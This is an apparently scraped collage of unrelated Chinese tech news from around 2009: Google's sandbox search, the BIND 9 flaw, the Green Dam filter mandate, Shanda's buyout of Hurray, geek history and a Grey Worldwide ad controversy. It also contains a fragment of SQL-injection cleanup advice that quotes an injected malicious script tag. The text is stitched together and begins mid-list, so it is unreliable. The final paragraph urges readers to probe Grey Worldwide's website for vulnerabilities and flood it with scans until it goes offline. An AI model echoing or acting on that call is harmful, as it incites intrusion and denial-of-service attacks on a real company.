这款全新的搜索引擎使用不同的网址(www2.sandbox.google.com)，外观与现在的谷歌完全相同，但搜索结果却有所不同，这将对那些依靠谷歌获取流量的企业产生影响。

　　在周一晚间发布的博客中，谷歌表示，新版搜索引擎速度将更快，结果也将更为精准和全面。

　　两周前，微软刚刚与雅虎达成搜索合作协议，以期借此对抗谷歌。目前，雅虎搜索和微软必应(Bing)搜索分别在全美搜索市场占据第二和第三的位置，谷歌则稳居第一。

SQL code

DECLARE @fieldtype sysnameSET @fieldtype='varchar'--删除处理DECLARE hCForEach CURSOR GLOBALFORSELECT N'update '+QUOTENAME(o.name)    +N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'FROM sysobjects o,syscolumns c,systypes tWHERE o.id=c.id    AND OBJECTPROPERTY(o.id,N'IsUserTable')=1    AND c.xusertype=t.xusertype    AND t.name=@fieldtypeEXEC sp_MSforeach_Worker @command1=N'?'

5.创建一个触发器，只要有 </script>就不给插入，对性能会有点影响

 

SQL code

create trigger tr_table_insertupdateon tablenamefor insert,updateasif exists (select 1 from inserted where data like '%</script>%')begin       RAISERROR ('不能修改或者添加',16,1);       ROLLBACK TRANSACTIONendgo

6.最重要的还是程序的写法，用参数化SQL或存储过程
例如
 

C# code

 protected void cmdok_Click(object sender, EventArgs e)    {        //添加信息        StringBuilder  sql = new StringBuilder( " insert into m_phone ( pid,PhoneName,num,price,phonetype,onSellTime,color,weight,Video,Camera,phoneSize,phoneSystem,Memorysize,PhoneDesc,Standbytime,ScreenSize,Frequency,InputMethod,Soundrecord,gps,fm,mp3,email,Infrared,game,clock,Calendar,Calculator,Bluetooth)  ");        sql.Append(" values (@pid,@TextPhoneName,@Textnum,@Textprice,@Dropphonetype2,@TextonSellTime,@Textcolor,@Textweight ");                .................        SqlParameter[] paras = { new SqlParameter("@pid", SqlDbType.Int, 4) ,            new SqlParameter("@TextPhoneName", SqlDbType.NVarChar, 50) ,             new SqlParameter("@Textnum", SqlDbType.Int, 4) ,            new SqlParameter("@Textprice", SqlDbType.Int, 4) ,            new SqlParameter("@Dropphonetype2", SqlDbType.VarChar, 20) ,            new SqlParameter("@TextonSellTime", SqlDbType.DateTime, 8) ,            new SqlParameter("@Textcolor", SqlDbType.VarChar, 20) ,            new SqlParameter("@Textweight", SqlDbType.NVarChar, 50) ,           ...........        };        string[] stra = {Dropphonetype.SelectedValue,TextPhoneName.Text , Textnum.Text, Textprice.Text, Dropphonetype2.SelectedValue, TextonSellTime.Text, Textcolor.Text, Textweight.Text,             .............};        int a=stra.Length;        int j;                for ( j = 0; j < a; j++)        {            paras[j].Value = stra[j];                   }        int strpid = 0;        string sqla = sql.ToString();        try        {            SqlHelper.ExcuteNonQurey(sqla, CommandType.Text, paras);//执行添加数据                       strpid = Convert.ToInt32(SqlHelper.ExcuteSclare(sqla, CommandType.Text, paras));  //获取刚才插入的id号        }        catch (SqlException ex)        {            cmdreturn.Text = ex.Message.ToString();        }        cmdreturn.Text = strpid.ToString();。。。。。。。。。

7.通过URL传递的参数要用加密解密
 

C# code

传输string szTmp = "safdsfdsafdsfytrsd";szTmp = Server.UrlEncode(szTmp); 接收STRING STRA=Server.UrlDecode(request.querystring(szTmp));

8.把要使用的参数处理一下单引号，再放到SQL里面 
  例如 string stra=aa.replace("'","''")

  用参数化SQL可以不用处理单引号
  指定参数类型和过滤掉单引号，就可以杜绝99.9%入侵了


另外说一句：网上那些被人奉如圣经的过滤 update insert  等关键字的程序是用处不大的  upupdatedate 过滤掉 update还是update
还会造成不必要的麻烦
 

一个可以让黑客毁坏全球互联网的漏洞刚刚被披露出，这一漏洞出现在被全世界所用的DNS服务器标准bind 9上。

Bind的支持组织Internet Systems Consortium (ISC)当地时间周二警告。

Bind 9版本包含这一漏洞，服务器管理员需要尽快升级Bind到9.4.3-P3, 9.5.1-P3 或 9.6.1-P1以规避风险，则黑客将可以轻松攻击未经修补的服务器，目前攻击代码已经出现。

6月9日，雅虎公司正式宣布成立雅虎北京全球研发中心。值得注意的是，雅虎的高官声称，中国市场对雅虎非常重要，雅虎北京研发中心成立有利于扩大雅虎在这个地区的影响。

雅虎全球产品执行副总裁首席技术官阿里巴洛格

雅虎全球产品执行副总裁首席技术官阿里巴洛格（Ari Balogh）表示，雅虎北京全球研发中心的成立履行了雅虎一直以来致力于融入中国互联网行业发展的长期承诺。中国作为全球科技发展最快的国家之一，在雅虎全球战略中扮演着重要的角色。雅虎北京全球研发中心的成立将极大地提高我们的研发能力，为雅虎全球的互联网用户提供最佳的互联网体验。

雅虎北京全球研发中心总经理张晨表示：非常高兴雅虎公司能为中国高速发展的科技产业发挥积极的作用。


雅虎北京全球研发中心的成立将扩大我们在这个地区的影响，同时加强我们服务全球用户和合作伙伴的能力。

此前，阿里巴巴正在逐步削减中国雅虎的业务和产品，有评论称，中国雅虎仅仅只剩下一个空壳而已。而也曾有国外消息称，雅虎和阿里巴巴产生了不合，并有可能绕开阿里巴巴重新进入中国市场。

　　这款软件具备拦截色情内容、过滤不良网站、控制上网时间、查看上网记录等功能，工信部等几部委使用中央财政资金买断其一年服务供全社会免费使用，此前几部委已要求全国各地中小学的联网计算机5月底要安装该软件，而所有进入“家电下乡”目录的计算机也已预装该软件。目前绿坝的装机总量已超过5000万套。

　　工信部在《关于计算机预装绿色上网过滤软件的通知》中指出，此举将有助于构建绿色、健康、和谐的网络环境，巩固整治互联网低俗之风专项行动成果。

　　日前，国家工业和信息化部下发《关于计算机预装绿色上网过滤软件的通知》，要求7月1日之后在我国销售的所有个人电脑出厂时预装绿色上网过滤软件“绿坝-花季护航”(以下简称绿坝)，并定期报告计算机销售数量和软件安装数量。

　　昨晚，记者在绿坝官方网站上看到了刚刚公布的通知原文，这份工信部5月19日发布的通知，明确要求在我国境内生产销售的计算机出厂前将预装绿坝，而进口计算机在我国销售前也将预装该软件。软件被要求预装在计算机硬盘或随机光盘内。

　　预装在硬盘或光盘内

　　“绿坝-花季护航”是由“绿坝”和“花季护航”两款产品集合而成，据称，该软件可以拦截色情内容、过滤不良网站、控制上网时间等，还可以每3分钟对网页截一次屏，软件使用者打开就可以知道其他使用者登录过哪些网站。

　　昨晚，记者在绿坝官方网站———绿航网看到了通知原文，证实了此前网上流传的消息。

　　8日，绿航网在“官方公告”栏目头条位置发布了国家工信部的《关于计算机预装绿色上网过滤软件的通知》，并公布了该通知的照片。　

工信部通知要求，7月1日后销售的计算机都必须安装“绿坝”

　　这则发文号为“工信部软【2009】226号”的《通知》发布于2009年5月19日，发出者显示为“中华人民共和国工业和信息化部”。通知要求：在我国境内生产销售的计算机出厂时应预装“绿坝-花季护航”软件最新适用版本；进口计算机在国内销售应预装“绿坝-花季护航”软件最新适用版本。

　　通知还要求，计算机生产及销售企业应于2009年6月底完成“绿坝-花季护航”软件预装测试等相关工作，2009年7月1日后出厂和销售的计算机应预装“绿坝-花季护航”软件。

　　软件被要求预装在计算机硬盘或随机光盘内。

　　通知同时还要求计算机生产者及软件提供者自2010年起每年2月底上报上一年度数据。

　　大规模预装活动已展开

　　绿航网披露的信息显示，部分个人电脑厂商已经开始行动。5月18日，该网发布消息称“绿坝PC厂商预装培训全面展开”。

　　消息中还介绍说，伴随“绿坝-花季护航”软件在PC机大规模预装行动的展开，软件培训工作已于近日正式启动。5月8日、12日，宏基电脑与华硕电脑首开培训第一课，从服务环节确保软件正常使用。前者以电话会议的形式，对全国各级分销商进行了电话培训；后者则以现场办公的形式向产品专员、客服专员、测试专员介绍了绿色上网软件。

　　来自工信部的统计信息显示，至今年3月底，已有国内约95家网站提供绿坝软件免费下载，下载次数共计约326.68万次；约2279所校园装备绿坝软件，总装机数达约51.83万台；约6957家网站完成绿坝软件安装工作，总装机数达约116.35万台。

　　据媒体报道，在进入家电下乡市场后，绿坝软件的装机总量已高达约5270万套。

　　创造和谐网络环境

　　工信部在通知中表示，个人电脑预装绿坝的主要目的是“旨在创造一个绿色、健康、和谐的互联网环境，防止互联网上的有害信息影响和毒害青少年”。

　　通知中指出，“为进一步巩固整治互联网低俗之风专项行动成果，坚持惩防结合，切实保护未成年人健康成长，推动互联网健康有序发展”，而预装该软件也是“根据全国整治互联网低俗之风专项行动的总体部署”。

　　有部分网民担心，这是否意味着上网过滤软件的使用范围，将由中小学电脑和网吧等公共电脑扩展到个人电脑。

　　对此，软件开发方之一的金惠公司在接受媒体采访时曾表示，目前该软件屏蔽的网站只是色情网站。而如果父母想接入那些被屏蔽的网站，绿坝软件可以被关闭，而且这一软件可以被卸载。用户如果想卸载这一程序，他们需要输入一个在安装这一软件时设置的密码，设置密码是为了阻止孩子们让软件失效。　　　　　　

关于绿坝：国家斥资4000万采购

　　“绿坝-花季护航”是一款绿色上网过滤软件，软件由“绿坝”——— 图像过滤软件与“花季护航”———文字过滤软件两款软件集合而成，具备拦截色情内容、过滤不良网站、控制上网时间、查看上网记录等功能。

　　2008年1月，当时的信息产业部向社会征集绿色上网过滤软件，通过政府出资买断的形式，免费向全国青少年无偿提供绿色上网过滤软件。5 月，通过全面的评测工作，几部委确定了2款技术、性能和功能最好的软件，即图像过滤软件“绿坝”和文字过滤软件“花季护航”，组合成“绿坝-花季护航”绿色上网过滤软件。国家向中标的郑州金惠和北京大正两家公司采购了4170万元人民币的“绿坝-花季护航”软件，提供给网民免费下载、使用一年。

新闻背景：中小学校全面安装

　　此次要求新电脑全面预装绿坝前，教育部等已要求全国中小学能上网的电脑都安装该软件。

　　此前，教育部、财政部、工信部、国务院新闻办共同研究确定了绿色上网过滤软件校园推广工作方案，并于今年4月1日发出《关于做好中小学校园网络绿色上网过滤软件安装使用工作的通知》。通知要求，“为了给中小学生营造健康、积极的网络学习环境”，要求地方各级教育行政部门认真组织实施，“确保在今年5月底前，各中小学校联网的计算机终端均能安装运行好‘绿坝-花季护航’绿色上网过滤软件。”

　　通知中要求各中小学要将绿坝的运行维护纳入学校的日常管理，制定专人负责，还要求地方各级教育行政部门对此进行不定期检查，而四部委也将组成专项检查小组，对安装绿坝软件的落实情况进行实地检查。

　　而更早的时候，该软件已在贵州、河南等部分省市中小学开展试用测试。对此，有关部门评价认为，成效显著。

家电下乡电脑已装绿坝

　　绿坝软件已经在为许多购买了家电下乡电脑的农民服务。据报道，“对于下乡电脑，在条件允许的情况下，都是会安装对应的信息过滤和保护程序。其中预装得比较多的就是一款名叫‘绿坝-花季护航’的软件。”

　　据介绍，此举主要是为了帮助“接触电脑尚少的农民兄弟”避免电脑病毒等问题，减轻售后服务的负担，“这时候信息过滤的重要性就凸显出来”。

　　3月份的新闻报道中披露，联想的下乡电脑全面预装绿坝，此后包括方正、长城、浪潮、清华同方、海尔等下乡电脑也都将陆续安装绿色上网软件。

盛大网络的这一要约收购价格较华友世纪在纳斯达克6月5日常规交易中的收盘价高出约25%，总交易价值约为4620万美元。

这一收购要约的完成将依附于交易条款，即华友世纪已提供至少51%的完全摊薄已发行普通股，以及其他惯例条款。如果华友世纪提供的已发行普通股超出51%，则盛大网络从每名华友世纪股东那里收购的普通股数量将按比例减少。这项交易不依附于任何融资要求，华友世纪董事会已一致向公司股东推荐了这项要约。

盛大网络董事长陈天桥表示：我们尊重华友世纪董事会及管理层所做的工作，以及他们为定义华友世纪的公司战略和发展方向所作出的努力。我们相信，盛大网络的用户基础、资源和平台将有助于这些战略的继续实施。

华友世纪董事长王秦岱表示：我们相信，华友世纪和盛大网络在成为数字娱乐领域领导者的问题上享有共识，补充内容、销售平台和较大的用户基础将为两家公司带来实现未来合力的机遇。

受盛大收购华友世纪51%股份消息影响，华友世纪周一大涨8.13%，股价创52周新高。

据国外媒体报道，谷歌事业部总裁戴夫罗伍德(DaveGirouad)在2009年美国科技会议上表示，一年之内，谷歌在线办公软件系列将会有翻天覆地的变化。

同时他还指出，大部分企业购买谷歌办公套件是冲着电子邮件和日历服务而来，因此产品中不太热门的电子表格和文字处理产品大有文章可做。

罗伍德还称，由于消费群体巨大，谷歌因此可以在低成本运作的情况下提供按需服务，例如谷歌办公套件的售价其实只有微软相同产品的1/4，因而市场优势比较明显。

乔布斯(左一)也曾是极客

导读：美国知名IT杂志《PC World》网站今日撰文称，在智能手机、社交网站等高科技必需之物问世以前，极客(Geek，亦称奇客)带有一点儿贬义，通常是指那些性格古怪、但大多智力超群、善于钻研的人。白衬衫、黑领带和牛角框眼镜是他们的标配。

一开始，他们并未像现在这样受到主流社会的欢迎。不过，经过数十年的发展，极客已摆脱了旧式的装扮，展现出新的面貌，在商界和社会上更被人们所接受。时至今日，极客及其钟爱的技术已完全融入主流社会。以下让我们回顾一下极客的发展史。

1.IBM时代

极客之IBM时代

那个时期开创了我们所说的现代IT新时代，照片左侧是二十世纪四十年代ENIAC(电子数字积分计算机的简称)，重约30吨，有1.9万个真空管。右侧是IBM System/360大型电脑Model 50。控制中心则是电脑技术人员和早期程序设计人员，也就是那个时代的极客。

2.硅谷盗版者

极客之硅谷盗版者

对技术秘密守口如瓶的IBM最终让位于着装奇特的程序设计人员：编码员、盗版者和无政府主义者，他们的创业热忱对IBM当时遵循的信条构成了挑战。资深科技专栏作家罗伯特克林奇利(Robert X. Cringel)指出：那些奇装异服的程序设计人员都留着长发，在着装选择上故意忽视季节变换，甚至还引以为傲。冬天穿短裤，踏凉鞋，不管四季变化，总是身穿T恤衫。在这张照片中，左侧是苹果两位创始人乔布斯和沃兹尼克；右侧是素有自由软件之父美誉的理查德斯托曼(Richard Stallman)。

3.游戏玩家

极客之游戏玩家

在Atari、任天堂和ColecoVision的技术人员找到将拱形过道融入起居室的方法以后，新一代极客游戏玩家即在二十世纪七八十年代诞生了。他们远离户外活动，在家中沉迷于前所未见的数字世界带给他们的刺激。在这个虚拟的世界，他们可以轰击小行星，在《大金刚》游戏中上演英雄救美的传奇，只要动动手，这一切全部成真。

4.登陆通俗文化

极客登陆通俗文化

二十世纪八十年代，极客文化发生了转变。这个时候，一些智力超群的人物形象由于在电影电视节目中大放异彩，逐步变成公众的焦点。但是，极客还是过了一段时日才真正融入通俗文化。由于《菜鸟大反攻》中的路易斯、吉尔伯特、波因德克斯特，《天才小医生》(Doogie Howser, M.D.)，斯蒂夫乌尔克尔(Steve Urkel)，《救命下课铃》、《十六支蜡烛》中的安东尼迈克尔哈尔(Anthony Michael Hall)等经典影片和人物形象深入人心，使得极客确实在美国赢得了一席之地。

5.极客之王

极客之王比尔盖茨

照片中的人相信大家都认识。这张照片确实有可能让主流极客运动推迟几年。

6.从贫民窟到百万富翁

从贫民窟到百万富翁

纯化论者可能会说，互联网的影响力在二十世纪九十年代有所减弱领结和吊裤带去了哪里？但是，风险投资仍将数百万美元抛向几乎一切同互联网有关的经营计划，他们这样做的标准又是什么？无论如何，九十年代的极客文化都以一种新的、很平常的方式繁荣起来，他们尖叫着说：我懂技术，会在此顶薪工作三个月，你需要付我大把钞票。

7.谷歌创始人

谷歌创始人

并非每一家互联网企业的IPO都同二十世纪九十年代许多企业的惨淡结局一样。比如，斯坦福大学的拉里佩奇(Larry Page)和赛吉布林(Sergey Brin)创建的搜索引擎谷歌。佩奇和布林成为了互联网时代辉煌时期的代表人物，他们向用户提供的接触全球信息的服务不仅使极客人性化，还激发每个普通人拥有了对数据的渴望。

8.极客团队

极客团队

但是，仍有一些高科技企业坚守过去的极客传统。例如极客团队(Geek Squad)代理人，他们以五十年代的装扮以及主动上门服务著称，几乎在九十年代无处不在。

9.传统极客装束经久不衰

传统极客装束经久不衰

还有许多人依旧钟爱传统的极客装束：他们的穿着打扮看上去仿佛波因德克斯特先生永远不会变老。

10.极客面临更多挑战

极客面临更多挑战

同二十世纪四五十年代的IBM先辈一样，当今IT极客拥有掌控先进技术的聪明才智。尽管硬件尺寸变得越来越小，但极客们现在不得不面对全球基础构架问题、持续的安全威胁以及对科技了解更深入的用户等方面的挑战。

11.无处不在的科技极客

无处不在的科技极客

尽管进入二十一世纪以来，我们经历了千年虫事件和金融危机，但极客运动却变得前所未有的活跃。极客文化已融入主流社会。根据the Pew Internet American Life Projec的一项调查，96%的人在工作中用到互联网、电子邮件，或拥有一部手机，大约40%的美国人拥有像黑莓这样的无线便携设备，近25%的美国人使用社交网站，如Twitter和Facebook。

12.从盖茨到扎克伯格

从盖茨到扎克伯格

在盖茨从微软退役以后，另一位有过从哈佛辍学经历的高科技人才似乎成了极客运动的新领袖，他就是Facebook创始人和现任CEO马克扎克伯格(Mark Zuckerberg)。扎克伯格上班时从不穿西装，从不打领带，从不穿西裤，但他洋溢着青春与朝气，脸上透露着对自己能力的过分自信，对科技同样充满着狂热。然而，对Facebook和Twitter等社交网站的追捧，再加上用户对科技产品的依赖，已经造就了极客的黄金时代。

最新报道 V

评委风采 V

作品赏析（分六组显示）V 分三行 2个悬想卡 （网络选评）

精彩视频 V

媒体关注 v
支持单位 v

论坛热点 VV

友情链接 V

搜索 V

登陆 v

报名 v

大赛简介：大赛简介 大赛亮点 奖项设置 评奖办法 参赛流程

在线报名：参赛流程 报名方法 （引导用户）

作品赏析：前期分组显示 后期分组分奖项显示

大赛评委：静态页面

精彩视频：

新闻模块
会员登陆
验证码
上传
图片新闻
选项卡
投票

      德国一家广告商竟将中国已故领袖毛泽东作为安全套广告的主角，还和希特勒、本·拉登并列，以体现其“创意性”。该广告自今年3月问世以来，在德国引起广泛质疑，尤其令海外华人非常气愤。一名当地学者表示，这种为出位、出名，不惜抹黑中国的做法“令人难以接受”。

      Grey Worldwide，我搜索了一下好像也不咋样，迟早要挂掉的。。。

最近，很多华人向《环球时报》记者反映说，他们在一家名为“Ads of the World”（世界广告网）的网站看到一张侮辱中国领袖的广告。记者在该网站的“全球广告展示”栏目中果然见到一份名为“Doc Morris药房：毛泽东”的广告。该广告借用中国领袖的形象，并加上希特勒与本·拉登，来为一家荷兰药店的安全套做广告。

据《环球时报》记者了解，广告制作方Grey Worldwide公司为德国第二大广告公司，已有50年历史，在97个国家设有428家办事处，包括中国上海。《环球时报》记者13日致电该公司，但由于正值复活节，无人接听。

Grey Worldwide公司不知是没预见到这样的广告的恶劣后果，还是成心要这样做。住在柏林的沈影女士气愤地向记者表示，这则广告伤害了中国人民的感情，必须要道歉。“Ads of the World”网站的读者评论也给广告打了低分。在以10分为满分的读者评分中，该广告只得4.5分。一名叫瑞皮的网友说，“把中国领袖和希特勒放在一起？这很可恶！”

德国国际媒体研究所专家艾特伯斯在接受《环球时报》记者采访时表示，该广告的创意是“即使像毛泽东那样强大，我也不怕”，以此说明安全套的保险性。但这样做显然违反了做广告的原则，并伤害了中国人的感情。艾特伯斯说，把受中国人爱戴的中国领袖毛泽东与希特勒和拉登“混为一谈”，令人难以接受。Grey Worldwide公司显然是想借中国领袖出位、出名，甚至不惜“抹黑中国”。另据德《霍利特日报》报道，德意志银行已拒绝与Grey Worldwide公司合作，因为不满其创意。

这已不是德国公司第一次利用中国领袖形象做广告了。一家德国保险公司曾用中国领袖作为电视广告的主角；一家广播电台还在领袖的眼睛上画上装饰；还有一些公司像Grey Worldwide公司一样，肆意篡改中国领袖的形象，以达到他们的宣传目的。2008年1月，法国雪铁龙公司在西班牙的一幅广告中篡改了中国领袖毛泽东的形象，该公司后来道歉。(环球日报)

        同志们，没事就多刷一下Grey Worldwide的网站，会玩工具的朋友试下，看能不能找到些洞。或者没事就拿工具扫他们，扫的他们打不开！